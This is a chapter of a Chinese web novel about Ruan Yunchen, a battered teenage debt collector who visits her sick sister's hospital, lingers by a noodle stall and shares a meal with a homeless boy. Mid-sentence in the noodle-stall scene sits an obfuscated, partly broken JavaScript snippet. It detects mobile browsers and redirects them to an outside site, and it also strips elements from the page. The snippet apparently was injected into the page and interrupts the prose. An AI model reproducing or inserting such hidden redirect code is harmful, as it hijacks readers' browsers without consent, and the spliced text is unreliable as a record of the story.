一整袋东西,看起来好像挺充实,但她很清楚,宋祈的“好意”从来不多余。 他给她这些,是希望她治好伤,继续去讨债、去挨打,去维持他的一方秩序。她算不上被看重,只不过是一颗随时能替换的棋子。 路灯的光线不算明亮,照不进她的表情里。 她迈着步子,沿着街道的边缘走着,每一步都像踩在虚无的空隙上。身体已经超出了负荷,连呼吸都能听到清晰的回音。 她告诉自己,坚持一下,再坚持一下。 阮云琛不知道自己是怎么走到医院门口的。 大脑混混沌沌——或许是从五天前,或许是几年前就开始如此。 冷风沿着街道一路吹过来,割在脸上像碎冰刮过一样,疼得生硬。 阮云琛抬起眼,看着那栋灰白色的建筑立在夜色里,沉默而巨大。 “淮龙市立儿童医院”几个字镶在楼顶的牌匾上,冷硬的字体被路灯映得发亮,像是用钝刀子刻出来的一样,沉甸甸地压在视线的尽头。 她站在那里,药袋被攥得有些变形,塑料的棱角硌在指尖,有点发痛。 玻璃门后的世界仿佛隔着一道屏障,那里的灯光是温暖的,安静的,透过落地窗打在地面上,模糊出一片温柔的橘黄。 而她站在门外,影子被拉长,薄薄地贴在冰冷的地砖上,像是被城市遗忘的一块污渍。 医院的气息从未改变。 消毒水混着淡淡的药水味,随着风从门缝里逸出来,钻进鼻腔深处。 阮云琛仰起头,冰冷的空气灌入鼻腔,却没能冲淡那股医院特有的气味——消毒水混着药物的味道,贴着血管钻进她的喉咙。 她只觉得喉头微微一颤,一股腥甜的作呕感涌了上来。阮云琛不得不稍稍低头,咬紧牙关,试图将这股强烈的反射压回去。 那味道太熟悉了。 林奇打开酒精瓶时,她闻到过; 躲在阴暗的房间里,自己硬生生往伤口上倒消毒水时,她也闻到过; 更久远的记忆里,它伴随着刺鼻的酒精味,贴着皮肤,将她拖回到那些难以触碰的画面中。 阮启明在醉酒后的深夜里摔碎了酒瓶,尖锐的玻璃渣子落在地上,混着洒出去的烈酒散发出刺鼻的味道。 她把瑟缩在墙角的淼淼抱得很紧,鼻腔里全是刺痛的酸涩和绝望的恐惧。 后来,淼淼发病,浑身抽搐,嘴里冒出白色的泡沫,那气味混着腐朽和无助,像一只无形的手死死掐住她的喉咙。 那些回忆被她锁在脑海深处,尘封已久,却总被消毒水的味道一遍又一遍地唤醒。 而现在,这些熟悉的味道又回来了。 林奇的酒气、宋祈办公室里的烟草气息,桥洞下混着霉味的寒风,还有这栋医院散发出的冷漠味道,全都像是她命运的一部分,无论走到哪里,都在提醒她:这些记忆无法摆脱,它们深深地扎根在她的骨髓里。 阮云琛眨了眨眼,试图让视线聚焦在玻璃门后的接待台上,但鼻腔里的气味却越发清晰,像是变成了一种无声的折磨。 她想起林奇用酒精棉贴在她伤口上的那一刻,疼痛直直钻进神经,她没有发出声音,只是在心里翻江倒海地骂自己。 那不仅仅是因为疼,而是因为那种味道,像刀子一样将她劈开,把伤疤里的每一段记忆都生生剥了出来。 还有那些她无法触及的地方——肩胛骨的后面,手臂的内侧,甚至是肩膀的接缝处——她够不到,只能倒一瓶酒精下去,痛得眼前发黑,却从不敢停下手。 她不怕疼,但她怕淼淼知道,她怕淼淼在某一天不小心发现这些伤口,问她为什么。 她该怎么回答? 告诉淼淼,她的姐姐每天奔波在这些鲜血和泥水之间,告诉她那些鲜红的痕迹是“码头搬箱子”留下的吗? 她骗不了淼淼,她只能让淼淼相信,自己从来不会累,从来不会痛,这样,淼淼就能安心地躺在病床上,哪怕她自己—— 一阵更强烈的腥甜感涌上来,阮云琛不得不狠狠咬住后槽牙。 指尖无意识地攥紧了手里的药袋,袋口的塑料勒进掌心,像是用力太大随时可能撕裂的绳索。 医院里那股消毒水的味道越发浓烈,像是一只冷冰冰的手,无声无息地攥住了她的胸腔。 她僵硬地站了一会儿,目光透过玻璃门,看见值班护士正趴在桌上批改文件,偶尔抬头,揉了揉眼睛,又低下头继续忙碌。 他们的脸被台灯映出一圈光晕,那样的光线安静、温柔,像是和这栋大楼一起,隔绝了一切杂音。 阮云琛动了动脚,想往里走,却发现自己的腿像被灌了铅一样,抬不起来。 淼淼还在重症监护室里,插着管子,躺在那些闪烁着刺眼光亮的仪器中间。 医生不会让她进去,护士也不会允许她靠近,只会将她隔绝在那道冰冷的玻璃门外,隔着一扇窗看着那个柔软而脆弱的妹妹。 “进去做什么呢?”她心里有个声音在冷冷地问,“你能做什么?” 阮云琛站在那里,药袋里的药瓶轻轻碰撞着,发出细碎的声响。 风卷着她的衣角,冷得发硬,她的指尖在袋口反复摩挲着,像是有什么东西卡在喉咙里,却再也吐不出来。 阮云琛靠着墙,闭了闭眼。 肩膀的伤口还在隐隐作痛,那种钝痛一下一下地撞在神经上,提醒她这副残破的身体已经到了极限。 她本以为自己还有力气再撑一会儿,可现在站在医院门口,她忽然觉得什么都没有了。 脚下的地砖冰冷,风吹过面颊,卷起她的头发,像是一双无形的手,将她的呼吸和心跳都掐住了。 站在这里也是徒劳的—— 在医生做完手术疗程并通知家属之前,她也什么都改变不了。 阮云琛转过了身,背对着医院,把后背倚在那面冰冷的墙上,深深地呼吸了一口气。 夜风将衣领掀开一角,凉意顺着后颈往下渗透,像是被风吹裂的皮肤一样,每一寸都僵硬而钝痛。 突然,一阵刺耳的鸣笛声从街角传来,救护车的红色警灯在她面前一闪而过,光线扫过她的脸,像是一道利刃,擦过黑暗里毫无防备的人。 阮云琛眯了眯眼,目送着那辆车消失在医院的急诊门口,心底某个死死压着的角落,不合时宜地颤动了一下。 她重新攥紧药袋的手柄,拇指无意识地用力,指甲掐进掌心。 药袋里的瓶瓶罐罐互相撞击着,发出一声短促而冰冷的脆响,像是什么东西破裂了——又或是,正在缓缓破裂。 风从楼角穿过,吹在她脸上,带着刺骨的凉意。她的肩膀微微颤了颤,回过神来才发现自己已经站得太久了,脚底像是钉在了地面上。 阮云琛低下了头,喃喃地在心底说了一句:“算了。” 回家吧。 她得养好伤,然后才能...... 才能赚更多的钱。 阮云琛垂下眼,手里的药袋微微摇晃着,塑料摩擦的细微声响在空旷的街道上显得格外清晰。她攥紧了袋子,指尖有些僵硬,像是快要失去知觉似的。 路灯下,她的影子被拉得很长,随着脚步的移动一晃一晃。 走了没几步,脚下又像是被什么绊了一下似的,步伐慢了下来。 她不知道自己是太累了,还是不愿意回去。 家里......空荡荡的。 什么也没有。 什么人也没有。 空气冷得像针扎在脸上,阮云琛缩了缩脖子,外套的拉链拉得很高,半张脸都埋在领子里。街道上的店铺早已关门,偶尔几辆车驶过,车灯刺得她眼前一片模糊,又很快被黑暗吞没。 她的目光散散地看着前方,走着走着,脚步又放慢了下来。 桥洞就在前面,那熟悉的阴影一点点浮现出来。阮云琛明明没有刻意去看,但眼神却像是被无形的线牵着,还是落在了那里。 桥洞里空荡荡的。 风穿过时发出呜呜的声响,卷起几片枯叶,像是有人在轻轻叹气。枯叶在地上打着转,又被吹向更远的地方。 男孩不在。 阮云琛的脚步顿住了。 桥洞空荡荡的,风穿过黑暗,在墙壁和地面间回旋,卷起几片干瘪的枯叶,刮过地面发出细碎的摩擦声。 她抬起眼,看了一会儿那片阴影——地上曾铺开的绞丝袋不见了,那个蜷缩着的瘦小身影,也不见了。 仿佛那里从来都没有过什么人。 她站在那里,手里的药袋微微发紧,塑料袋边缘被她攥出一道道折痕,偶尔被风拂动,发出细碎的沙沙声,和风声混在一起,虚弱得像是随时会散掉。 阮云琛也不知道自己为什么要往这边看。 道谢吗? 她不是那种会轻易说“谢谢”的人——或者说,她会说“谢谢”,但那个词在她的字典里,生硬得像一块落满尘灰的旧石头,早就被埋进了记忆的深处。 阮云琛说过的“谢谢”屈指可数,她清楚地记得,那些时候,她低着头,喉咙干涩到发疼,几乎是用尽全力才把那两个字挤出来。 那是一种近乎奢侈的词语。 可那一瞬间,确实有什么东西闪过脑海,模模糊糊的,像是从风里飘过的一丝尘埃,轻到抓不住,也说不清。 阮云琛压下那些莫名其妙的念头,手指在药袋口上无意识地攥了攥,然后松开。风刮过衣摆,凉意沿着皮肤贴着骨头缠绕上来,她站了一会儿,觉得自己实在是有些可笑。 男孩走了,或者去哪里找活儿干了,又或者是去换他那堆破烂换来的钱。 他并不是每天都在桥洞里,这她知道。或许是去找活干了,或者是把捡来的废铁拿去卖了。但不知道为什么,有那么一瞬间,她心底还是浮起一点说不清的失落。 桥洞安静得像是一口井,黑暗将一切声音都吞噬了,连风声也变得迟钝起来。 阮云琛的目光最终从那片空荡荡的阴影里收了回来,指尖缓缓松开了攥紧的药袋。 “......算了吧。”她在心里对自己说。 阮云琛重新抬起脚,步伐有些虚浮,走了没几步,肩膀的伤口便开始隐隐作痛,像是有人用钝器敲打着骨头里的神经。 风越吹越凉,似乎连血液都被冻住了,她的头脑也跟着发晕。 刚才林奇的声音像是一根扎在脑后的刺,突然冒了出来:“伤成这样还逞能,你倒是真有骨气。” 阮云琛撑了撑额角,指腹抵着太阳穴,试图按下那些不断响起的杂音。 医院,桥洞,还有从和安堂出来时在街上走了多久——她已经记不清了。只记得风很大,吹得她浑身发冷,浑身都疼。 是伤口还未愈合的疼,是酒精烧灼着皮肤的疼,是纱布摩擦着翻涌的软肉的疼,是连呼吸都带着钝重的疼。 夜色深沉,楼下的巷子口亮起了几盏散乱的灯。那光并不明亮,像是破旧灯泡里最后的电流挣扎着发出的微弱光辉,把周围的灰暗勉强推开几分。 阮云琛站在原地,眯了眯眼,看向那道熟悉的光亮。 楼下那条狭窄的空地上,一张摊子支起来了,几口冒着热气的锅、几个码得整整齐齐的调料罐,还有那面摊老板——程一冉的妈妈万秀忙碌的身影。 她的面摊每天这个时候都会出摊,就在楼栋入口旁边的空地上,烟火味弥漫开来,在湿冷的空气里反倒显得有些暖意。 夜风从阮云琛的衣领灌进来,冷得透骨。阮云琛下意识地缩了缩脖子,把药袋拎得更紧了些。 万秀正站在摊子后面,头微微低着,一手从沸水里捞出一撮面条,另一只手端起勺子,将滚烫的高汤从大锅里舀起来,稳稳地浇在面碗里。 那一瞬间,腾腾的热气冲起,将她的脸模糊了一层。围裙的边角被风吹动,衣摆下摆晃了两下,又安静地垂下来。 小桌子上,程一冉正低着头,一手按着砧板,一手拿刀,狼狈地对付着洋葱。 洋葱的汁水流得厉害,切到一半时,她的动作开始变得迟缓,鼻子和眼眶一片通红。她停下来,眨了眨眼,吸了吸鼻子,声音含糊不清:“妈,你买这种洋葱不行,太呛了。” 万秀头也没抬,手里动作依旧利落:“自己不会往刀上蘸点水?傻不傻。” 话虽这么说,但她还是摸索着从围裙口袋里掏出一包纸巾,随手甩了过去。 程一冉被纸巾砸了个正着,更委屈了:“妈!你不能看着点吗!” “不能。”万秀剜了她一个大白眼,转头就堆着笑容和客人聊了起来。 程一冉嘟囔了声,抬手胡乱擦了几下,眼泪混着鼻涕抹得满脸都是,狼狈得几乎有点可笑。她哼哼唧唧地抱怨:“早知道不帮你了,吃碗面还得付出代价。” 万秀终于抬眼看了她一眼,嘴角微微一撇,笑意却透着些忍耐不住的无奈:“切这么点洋葱就叫唤,你当我当年是怎么把你喂大的?再嚷嚷,待会儿让我去请个客人来教你。” 她话音落下,端起刚刚盛好的面碗,舀了一勺调料,小心翼翼地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888619|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撒在面汤上,又将碗轻轻递到摊台的另一边:“加辣的面来啦,小心烫!” 客人接了面,万秀继续忙碌起来,摊位前围着的几个人或站或坐,低头大口吸溜着面条,呼噜声掺杂着微风的呜咽,变成了一种人间烟火里最普通的乐音。 阮云琛不知道为什么,忽然就走不动了。 她站在远处的阴影里,看着这一切,目光停留在那张微光笼罩下的小桌子上。 程一冉的鼻涕眼泪糊了一脸,还一边嘟囔着说要罢工,手里的刀却没停下。万秀嘴上念叨着埋怨的话,偶尔抬头看一眼,又把刀口的洋葱替她拨正了些。 阮云琛没有刻意听,但那些细碎的家常话、那种平淡里透出的温馨氛围,就这样透过夜风,一丝一缕地钻进了耳朵里。 阮云琛的手指下意识地收紧,拎着药袋的手攥得更紧了些。 风从身侧的楼缝里穿过,带着寒意,也将面摊上的热气吹散了。 她忽然觉得眼前的那一幕有些刺眼。 那种温暖像一颗锋利的钉子,毫不客气地扎进她的胸口,扎得她莫名地烦躁,又空落落的。 热气从面摊那头飘过来,裹着葱蒜和调料的香味,掺杂着一丝湿漉漉的油烟味儿。 阮云琛站在阴影里,身体僵得像是一块冰冷的铁。她抬起眼,看着万秀往碗里盛汤。汤水冲在面条上的声音清脆,瓷碗被搁在台面上的那一瞬,带着一种生活里最普通的重量。 灯光照不到这里,但她还是感觉到脸上的伤在空气里暴露着,肩膀上那点隐隐作痛的撕扯感愈发清晰,像是要把她拉回现实。她下意识攥了攥手里的药袋,指尖发麻。 就在这时,程一冉忽地停下手中的刀,抬起头往这边看了一眼。 她的眼睛还被洋葱呛得模糊不清,红彤彤的一片,眯着眼试图让视线变得清楚些。 阮云琛的身体僵了一瞬,下意识地往后退了一步,像是做了什么见不得人的事被抓了包——不对、不对啊。 她......心虚什么? 是心虚?还是恐惧? 阮云琛不知道。 但她...... 她得回家了。 程一冉看了两眼,实在是什么也看不清楚,最终还是低下头继续切她的洋葱,只是嘴里嘟囔着抱怨:“哎呀,真是呛死了。” 阮云琛转过身,正打算抬脚离开,耳边却忽然传来一声:“阮云琛?” 这声招呼没有太多犹豫,但也透着些试探。她的声音有点虚,似乎怕认错人,又带着一丝克制不住的欣喜。 阮云琛愣了一下,下意识地往后退了一步,后脚跟擦过地上的水泥面,发出轻微的一声响。 她不知道自己为什么会退,却本能地觉得,自己的存在不应该出现在这盏灯光下,甚至不应该被看见。 可她还是忍不住抬头看了过去,正对上了程一冉因为洋葱而辣得红肿的眼睛。 万秀听着声了,回头看了一眼。她的目光不算凌厉,但掠过她的脸和手里攥着的药袋时,还是微微顿了一下。 大抵是对上了阮云琛的目光,万秀条件反射地扯了个尴尬的笑出来:“又这么晚回来?吃了没?” 这语气平淡得很,听不出什么情绪,甚至似乎没打算等待阮云琛回答什么。 她手里捧着一碗刚盛好的面,那面卷着一团团升起的热气,她僵了两秒,扭身就送去了旁边客人的桌上:“趁热吃啊,面可以免费加两次。” 程一冉这会儿才反映了过来,赶忙问:“哎,对啊,你吃了没?” 大概是被那洋葱给辣糊涂了,她擦了把鼻涕,声音翁隆翁隆的,一点儿也不清楚:“没吃的话,我这儿还有一碗……” 万秀忽地拍了程一冉一下。 程一冉的话头骤然卡住,脸上的表情有些尴尬。 她抿了抿嘴,低下头,动作僵硬地抹了抹鼻子,把手里的刀放回砧板上,试图掩饰什么似的,喃喃地解释道:“我……我没说什么啊。” 她的声音很轻,轻到几乎和风声混在一起,像是在对自己辩解,又像是在找个台阶下。 砧板上的洋葱还没切完,凌乱的碎块东倒西歪,洋葱汁水洇湿了木头的纹路,也让程一冉的手指染上一层凉意。 阮云琛站在不远处,身影半隐在夜色的阴影里,仿佛被楼下昏黄的灯光隔成了两个世界。 她没有走,也没有动,只是站在那里,默默地看着眼前这一幕。 手里的药袋被她攥得更紧了,塑料袋在指缝间发出细微的沙沙声,清晰到刺耳。 袋子里沉甸甸的药品,像是某种无形的重量,从她指骨一直压到胸口,坠得她有些喘不过气。 “吃过了。”阮云琛说。 那声音低哑得不像话,像是破旧门轴上的铁片,被风一吹,就发出一声干涩的吱呀。 那句话一出口,空气便仿佛凝固住了。 没有人立刻接话,万秀手里盛面的动作停了一瞬,程一冉的头垂得更低了,仿佛她刚才说的那句“不知道”还飘在空中,尴尬地找不到落脚的地方。 一片沉默在三人之间弥漫开来,像是被灯光勾勒出的长长阴影,谁也没有试图打破。 阮云琛站在那里,肩膀微微绷紧,眉头却没有皱,只是把手里的药袋又往下攥了一些。 她不喜欢这样的氛围——这份善意显得过于轻飘,又让人觉得难以接受,像是一片浮在水面上的落叶,看似温柔,实则无处安放。 她垂下眼,试图将那点尴尬掩盖过去,但她知道,自己的声音已经暴露了她的不自然。 程一冉的动作僵在那里,她抬头看了万秀一眼,嘴巴动了动,像是想说什么,又把到嘴边的话硬生生咽了回去。 她重新把手掌贴在砧板上,捏着刀柄的手微微发紧,又很快松开,像是下定了什么决心。 “那个,很晚了,早点回去休息吧。”程一冉终于开了口,声音有些生硬,却又故作自然地挤出一个笑,像是在替所有人找一个台阶。 她的笑意浅淡,甚至有点尴尬,但终究打破了这份令人窒息的沉默。 万秀没有再看阮云琛,只是低下头继续忙着手里的事,盛面、浇汤、招呼客人,一气呵成,仿佛刚才什么也没发生过。 那盏昏黄的白炽灯依旧晃动着光圈,落在她脸上,模糊了她的表情,也模糊了这一切的尴尬和隔阂。 面摊架起来的日光灯管发出断断续续的嗡鸣声,光线在墙面上晃了几下,斑驳的水泥痕迹映出了一道道裂缝。 阮云琛转过身,脚步有些虚浮地走向楼道。 昏暗的楼道口像张开的嘴,吞噬了一切声音。 阮云琛站在楼前,目光停在那扇锈迹斑斑的铁门上,指尖下意识地捏了捏药袋,仿佛那点重量能给她一点力量。 她深吸了一口气,推开铁门,脚步声踩在楼道的地面上,发出空荡的回响。 楼道里的灯光忽明忽暗,老旧的日光灯管闪了两下,发出“嗡嗡”的噪音,像是某种迟暮的喘息。 昏黄的光洒在墙壁上,剥落的墙皮下露出斑驳的水泥面,看起来像一张被时间和风雨击碎的脸。 阮云琛迈上楼梯的脚步不重,但一下一下,声音在安静的楼道里回荡,空旷得让人觉得可怕。 她只觉得身体很疲惫,药袋在手中坠着,一点点压垮她的力气。 忽地,她愣住了。 楼梯转角的阴影里,有个蜷缩着的身影。 32. 家门 男孩坐在楼梯口,背倚着墙,膝盖曲起,双臂环抱着自己。 他肩膀微微耸着,双臂抱紧膝盖,头低垂着,黑发垂下来挡住了脸,露出半截脏兮兮的侧脸,整个人被旧衣服裹得严严实实。 楼道昏黄的灯光照不到那里,他整个人像是浸在黑暗里的一片影子,模糊、安静,又无声地透出一股生疏的脆弱。 阮云琛脚步一顿,整个人僵在原地。 那一瞬间,她以为自己看错了。 她看着他,指尖攥紧了手里的药袋,塑料袋发出轻微的“窸窸”声。那点动静,让她的神经一点点绷紧,甚至不敢动。 阮云琛心头莫名其妙地抽了一下,像是一根弦,缠绕在胸口最深的地方,被这一幕拉得绷直。她说不上来这是什么情绪——意外、困惑,或者是那种不愿多问的无措。 她原本以为,这个孩子不会再出现在这里。 桥洞空荡荡的时候,她就已经给自己找好了台阶:他走了,这事儿结束了,一切都干净利落。可现在,他就这么突兀地坐在这里,坐在她不得不直面的现实里。 可他为什么现在会在这里? 阮云琛觉得自己的喉咙像是被什么堵住了,酸涩、沉闷,一下子让她忘了呼吸。 她不知道自己在等什么,也不知道自己为什么不走。 药袋坠在手里,硌得她指骨生疼,可她依旧没动,只是呆呆地看着那个蜷缩着的身影。甚至她心底的那点情绪,像是一块顽固的石头,慢慢地、沉沉地往下坠去。 男孩忽然抬起了头。 他的动作缓慢而沉重,像是从极深的黑暗中挣扎着浮出水面。额前乱糟糟的发丝被灯光勉强勾勒出形状,露出那双眼睛——眼白泛着一丝疲倦的灰,瞳孔却黑得发亮,像是某种被风吹灭前还未熄尽的火星。 男孩的眼神怔怔的,透着些许茫然,像是刚从浅浅的睡意中醒来。 他的疲惫写在脸上,灰尘模糊了五官的线条,却没掩住那双眼里的清亮,像是一块生了锈的镜子,默默地映出了她自己。 ——那目光清澈到过分。 可却又安静得叫人心里发慌。 就仿佛什么话都不用说,就能让人看见他背后那个空荡荡的、无边无际的世界。 阮云琛有些怔忪。 她只觉得自己的脚步仿佛被定在了原地,连呼吸也停滞了半拍。那一瞬间,时间像是被拉得很长,连老旧灯管发出的嗡嗡声都仿佛远了几分。 有那么一瞬间,阮云琛觉得有什么地方被牵扯了一下——像是一根线,缠绕在胸口,松松垮垮地挂着,却在瞬间被拉紧。 “你......在等我?”她忍不住问了。 风从门外灌进来,顺着楼道的缝隙钻过来,冷飕飕地打在皮肤上。头顶的灯光闪了闪,楼道里瞬间安静得过分,只剩下微弱的嗡鸣声。 男孩动了。 他的肩膀微微抖了一下,像是被什么惊到了。 他站起来的时候,动作有些僵硬,抬起的腿不太利索地晃了一下,鞋底在水泥地上擦过,发出一声轻微的“嗤啦”。 与此同时,阮云琛听见了一道突兀的声响——那是塑料袋被攥紧时摩擦的声音,轻而刺耳,在安静的空气中被无限放大。 她的目光下意识地往男孩的手里看去。 那一瞬间,她愣住了。 男孩握在手里的塑料袋微微晃着,被揉得皱皱巴巴,透明的边角被指节攥出了几道折痕,袋子里的东西隐约露出一点轮廓——酒精、纱布,还有几块消毒棉,像是被人小心翼翼地装进去,又攥得太久,显得局促而可怜。 阮云琛只觉得自己的呼吸一瞬间似乎被什么堵住了。她的余光扫过自己手里的药袋——那是一大包,从林奇那儿拎回来的,里面塞满了药品和工具,袋子的塑料材质反光得刺眼。 男孩也看到了。 他抬头看了她一眼,很短暂,就像是被什么刺了一下,随即又迅速低下头去。那只握着塑料袋的手不自然地往身后缩了缩,动作很轻,但却笨拙得像是被人逮了个正着。 阮云琛愣在原地,喉咙里像是堵着一团棉絮,什么话也说不出来。 那个袋子……他是去买药了?为谁?给她?为什么? 她的目光停在男孩藏到身后的手上,那包东西被攥得更紧了,薄薄的塑料袋边角在昏暗的灯光下发白,仿佛下一秒就会被他的手指揉烂。 他的动作笨拙而局促,像是突然被撞破了什么隐秘的心思,狼狈到藏也藏不住。 阮云琛的心底泛起一阵钝痛,来得突兀又莫名——不该是这样的,她想。 这个孩子,脏兮兮的,衣服都穿不暖,自己还活得一团糟,为什么要……为什么要做这些?她不需要,不应该需要。 男孩站在那里,微微侧着身,像是想把自己藏进楼道的阴影里。可那股局促感太明显了,反而让他的每一个动作都显得更加突兀。 阮云琛攥着手里的药袋,塑料边缘硌着掌心,有种熟悉的生硬感,像是被打碎的回忆。 她不知道自己心里此刻是什么滋味,是愧疚,还是某种说不清道不明的失落。她忽然觉得有些烦躁,那种感觉像是胸口盘绕着一根线,一下被扯得很紧,又松松垮垮地散在那儿,怎么也挣脱不开。 “你……”阮云琛张了张嘴,嗓音干涩,她看着他,“这些……是给我的吗?” 她不知道自己为什么会问出口。 说完,她几乎想咬住自己的舌头。声音飘在楼道里,连她自己听着都觉得轻飘飘的,像是一根悬在半空中的绳索。 男孩微微抬起头,目光只停顿了一秒,就飞快地落了下去。他像是被什么压住了,双肩微微一沉,影子被楼道的昏暗吞噬了大半。 他的视线又扫过了阮云琛手里的药袋,眼神闪烁着什么东西,然后又慌忙地低了下去。 “不是……”他嗫嚅着,声音很轻,含含糊糊地钻进耳朵里,“就想看看你怎么样了。” 这句话说得含含糊糊,像是怕她听见,又怕她听不见。 阮云琛盯着他,心里不知怎么地被什么揪了一下。 她忽然觉得自己手里拎着的那一大包药,沉得像是灌了铅。 而眼前这个男孩,那个拎着几瓶消毒水和几块纱布,局促地把手藏到身后的孩子,看起来就像是她……某种失落的影子。 四周很安静,连风声都不见了。只有头顶的灯光还在闪着,不时发出嗡嗡的响声。 “你坐在这儿多久了?”她听见自己开了口。 男孩抬头看她,脸上那点灰扑扑的神色在灯光下更显得苍白,黑白分明的眼睛里有些犹豫,也有点局促。他没有回答,只是很快地又低下头,小声说:“没多久。” 他攥着塑料袋的手收了收,像是想把它藏得更彻底一些。 阮云琛沉默了片刻,垂下眼,将手里的药袋提了提,指尖无意识地捏紧了些。 楼道的灯光又闪了一下,光影在男孩的脸上晃过,男孩站在那里,手里的袋子仍然藏在身后,目光不知该落在哪里。 阮云琛站在那里,怔了很久,仿佛陷入了一种脱离时间的停顿。 她盯着男孩半垂着的头,蜷缩着的身体,还有他手里那包皱巴巴的塑料袋。 风从楼道外灌进来,将昏暗的灯光吹得一闪一闪的,楼道里空荡的静默像是一张无形的网,把人压得喘不过气。 阮云琛本来没想开口的,但话还是从嘴里蹦了出来,像是脱离了理智的掌控:“吃饭了吗?” 这句话问得太突兀了,连她自己也怔了一下,嘴角微微抿紧。 男孩抬起头,眼神里有一瞬间的错愕,仿佛没想到她会问这个问题。他没有立刻回答,手指无意识地攥紧了袋子的提手,捏得塑料边缘咔嚓作响。 空气像是凝固了,潮湿的灰尘味夹杂着冷风,顺着楼道的缝隙钻进来,吹在他们之间。 阮云琛站在那里,没再说话,也没有催促,只是定定地看着他。她的目光里没有太多情绪,安静得几乎透出一丝疏离,却让人觉得无法回避。 男孩垂下眼,肩膀微微僵硬了一下,像是在犹豫什么,半晌才摇了摇头,小声道:“还没有。” 他的声音很小,像是从喉咙深处挤出来的,带着点局促,仿佛怕她听清楚,又怕她听不见。 阮云琛看着他,没说话,只是站在那里。 沉默拉得很长,长到楼道的灯光再一次闪烁,阮云琛才突兀地开了口:“要……来吃个面吗?” 男孩抬头看她,手里的塑料袋绷紧了,袋角微微颤了颤。他张了张嘴,过了好一会儿,才小声道:“不……不用了。” 他的拒绝很轻,但那种局促和犹疑却挂在了每一个字上。像是害怕自己真的答应,又像是害怕这份善意突然被收回去,显得他太过多余。 阮云琛“嗯”了一声,没再多问,目光扫了一眼他拎着的塑料袋,然后转身往楼梯上走去。鞋底摩擦地面,发出低而缓的声音,在空荡的楼道里拉得很长。 男孩看着她的背影,默不作声,像是习惯了这种被人丢下的场面。可就在阮云琛走上两级台阶时,又忽然忍不住停住了。 她的脚步僵在那里,手指不自觉地攥紧了药袋,指腹抵着塑料,冰凉的触感穿透皮肤。 她停在那儿,僵持着,楼道里的光晕将她投在墙上的影子拉得很长,微微晃动,像在嘲弄她。 刚刚那双眼睛再次浮现在脑海里——躲在阴影里的,安静得过了头,带着一种过于克制的疏离,就像流浪动物蜷缩在角落里。 看见她靠近的时候,他下意识地想要退回去,但最终还是忍住了,固执地站在原地,试图维持一丝莫名的礼貌。 阮云琛的眉头微微拧着,喉咙里像堵了一团棉絮,憋得她连呼吸都不顺畅。她不知道自己为什么停下,更不知道自己心底这莫名烦躁是从何而来。 ——干什么? 她止不住地问自己。 莫名其妙。 可她却控制不住自己心中的烦躁。 阮云琛站了很久,沉默得像一尊石像,影子被灯光映在墙上,起伏不定的轮廓看起来疲惫又讽刺。 直到那外头的寒风刮开了走廊头间的窗户,发出了沉闷地“邦邦”声时,她才闭了闭眼,猛地转过身,朝着楼梯口走了回去。 男孩还站在那里,手里拎着那只皱巴巴的塑料袋。他听到动静,警觉地抬头看过来,肩膀立刻绷紧了,指节僵硬地捏着袋子的提手。 阮云琛径直走了过去,没给他说话的机会,一把扯过他手里的塑料袋:“走吧。” 那点轻飘飘的重量被攥在手里,塑料袋发出“刺啦”一声轻响,男孩的手指微微一松,目光茫然地跟着她的动作。 他的神色里透着几分惊讶,甚至有些慌张:“走......?” 阮云琛停下脚步,回头看他,目光里透着一丝不耐烦。 昏暗的灯光落在她的侧脸上,让她的表情看起来冷淡却疲惫。她皱了皱眉,语气简短而生硬:“吃完再走。” 男孩依旧站着没动,像是被什么堵住了嗓子,嘴唇微微动了动,却没能发出声音。 阮云琛的目光停在他脸上,心底那点烦躁像是在一瞬间被放大:“你是打算站在这儿耗一晚上,还是跟我走?” 她没有给他再开口的机会,也没打算再等下去。她只是想,这是最后一次...... 是今天的最后一次邀请。 如果他再不跟来,她就会放弃。 放弃更进一步,放弃自己那无用且多余的善意。 可偏偏,身后传来了脚步声。 “谢谢。” 她听见他这么说着。 街巷很窄,旧楼房挤在一起,屋檐上的水泥脱落得七七八八,裂缝里冒出几株倔强的野草。 风穿过这里的时候,带着潮湿的冷意,像一只无形的手,从衣领钻进去,一路掐到骨头缝里。 阮云琛站在一户人家门口,指尖在外套口袋里缓缓摩挲着那张欠条。门虚掩着,门缝里透出一缕昏黄的光。夜风贴着她的脸吹过,带着刺骨的凉意,将空气搅得愈发安静。 她停了一会儿,手指下意识地收紧。讨债这种事,她早该习惯了。 这些年,她站在无数个这样的门前,看过太多和门内一样昏暗的灯光,听过太多哭泣、求饶、愤怒的声音,脸上却一次比一次平静。 她告诉自己,这是工作,是她该做的——可每一次敲门之前,她还是会犹豫那么一下,像是心头被什么东西堵住了。 不是因为可怜谁,也不是因为怜悯,而是因为站在门口的那一瞬间,她总觉得自己被抽空了。仿佛那扇门后面的人不是陌生人,而是某个时间节点上,她过去的影子。 “习惯了就好。”她在心底对自己说过无数次。 可事实是,她习惯不了。 无论几次,无论什么时候站在这样的门前,她都没法习惯。 尽管她一直只是看着,只是站在后面的角落里默默地看着那些还不上钱的的人被折磨,可她依然没法习惯。 哭声、喊声、求饶声,每时每刻都在脑海里回荡。 宋祈笑她,说她心太软,说她永远完不成任务,说如果再完不成收款的任务,就将阮启明欠下的债款重新提上议程...... 阮云琛闭了闭眼,强迫自己将那点微不可察的情绪压回去,然后抬起手,敲了敲门。骨节与木板碰撞的声音干净而短促,在这条安静的街道上显得突兀。 片刻后,门被拉开了一条缝。门缝里探出一张疲惫而戒备的脸——一个蓬头垢面的女人,眼角的皱纹深深地刻在皮肤上,看起来疲倦又憔悴。 她的目光先是带着警惕地扫了一眼楼道,紧接着落在了阮云琛的身上。 对方愣住了,似乎没料到会看到一个十来岁的小孩站在门口。 “你……”她迟疑了一下,声音有些发抖,“你找谁?” 阮云琛没有说话,指尖在口袋里的欠条上缓缓摩挲着,目光平静地看着她。她站在那里,身影被昏黄的光线拉长,一半陷在光里,一半融进了楼道的阴影里。 